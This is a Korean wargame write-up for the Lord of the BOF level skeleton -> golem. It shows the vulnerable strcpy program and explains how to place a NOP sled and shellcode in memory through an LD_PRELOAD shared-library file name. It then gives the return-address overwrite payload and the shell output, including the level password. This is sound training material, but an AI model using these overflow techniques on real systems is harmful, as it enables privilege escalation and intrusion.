[LOB] level11, skeleton -> golem 풀이
- 시스템해킹/LordOfBof
- 2020. 4. 6. 20:01
LOB, skeleton -> golem 문제 확인
이번엔 입력받은 buffer가 저장되는 곳부터 스택 끝까지 전부 초기화하는 stack destroyer 가 추가되었다. 새삼 문제 진짜 단계적으로 잘 낸것 같다...ㅋㅋ
/*
The Lord of the BOF : The Fellowship of the BOF
- golem
- stack destroyer
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer!
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}
이번 문제의 의도는 스택을 사용하지 못한다면 어떻게 해야 하는가?에 대한 풀이를 하는 것이다.
공유 라이브러리는 프로그램이 시작될 때 (시작되기 직전?) 메모리에 로드되는 라이브러리로 환경변수 LD_PRELOAD를 이용하면 공유 라이브러리 부분에 원하는 파일을 로드시킬 수 있다. 이전 문제들에서 쉘코드를 포함하는 파일명을 갖는 파일을 생성해서 심볼릭링크를 걸었던 것과 비슷하게 쉘코드를 포함하는 파일명을 갖는 라이브러리를 공유 라이브러리에 등록하면, 결국 메모리에 쉘코드가 올라가게 된다.
코드 영역 |
데이터 영역 |
힙 영역 |
공유라이브러리 영역 |
스택 영역 |
커널 영역 |
LOB, skeleton -> golem 풀이
그럼 test.c 라는 간단한 c파일을 생성 후 공유라이브러리로 컴파일을 해보자. 일반 gcc 컴파일에서 -shared 옵션만 추가해주면 된다. -shared 옵션은 so 파일을 컴파일하기 위한 옵션이고 so는 공유라이브러리 파일 확장자를 의미한다. 여기서 한가지 주의해야 할 것은 LD_PRELOAD를 등록할 때 절대경로를 사용해야한다는 것이다.
[skeleton@localhost skeleton]$ gcc test.c -shared -o
`python -c 'print "\x90"*100+"[shellcode]"'`
[skeleton@localhost skeleton]$ export LD_PRELOAD=
"`python -c 'print "/home/skeleton/"+"\x90"*100+"[shellcode]"'`"
gdb에서 프로그램이 종료되기 전 bp를 걸어주고 실행시킨다. 스택을 살펴보면, 대략 $esp-1100 부분에서 nop과 쉘코드를 발견할 수 있다. 확실히 스택영역보다 밑에있다?
LOB, skeleton -> golem 익스플로잇
리턴주소에 위에서 확인한 주소인 \xbffff5e4를 덮어주면 쉘을 획득할 수 있다.
[skeleton@localhost skeleton]$ ./golem `python -c 'print "A"*44+"\xe4\xf5\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?¿
bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid = 511
cup of coffee
'시스템해킹 > LordOfBof' 카테고리의 다른 글
[LOB] level13, darknight -> bugbear 풀이 (0) | 2020.04.08 |
---|---|
[LOB] level12, golem -> darknight 풀이 (SFP 조작) (0) | 2020.04.07 |
[LOB] level10, vampire -> skleton 풀이 (0) | 2020.04.06 |
[LOB] level9, troll -> vampire 풀이 (0) | 2020.04.06 |
[LOB] level8, orge-> troll풀이 (0) | 2020.04.05 |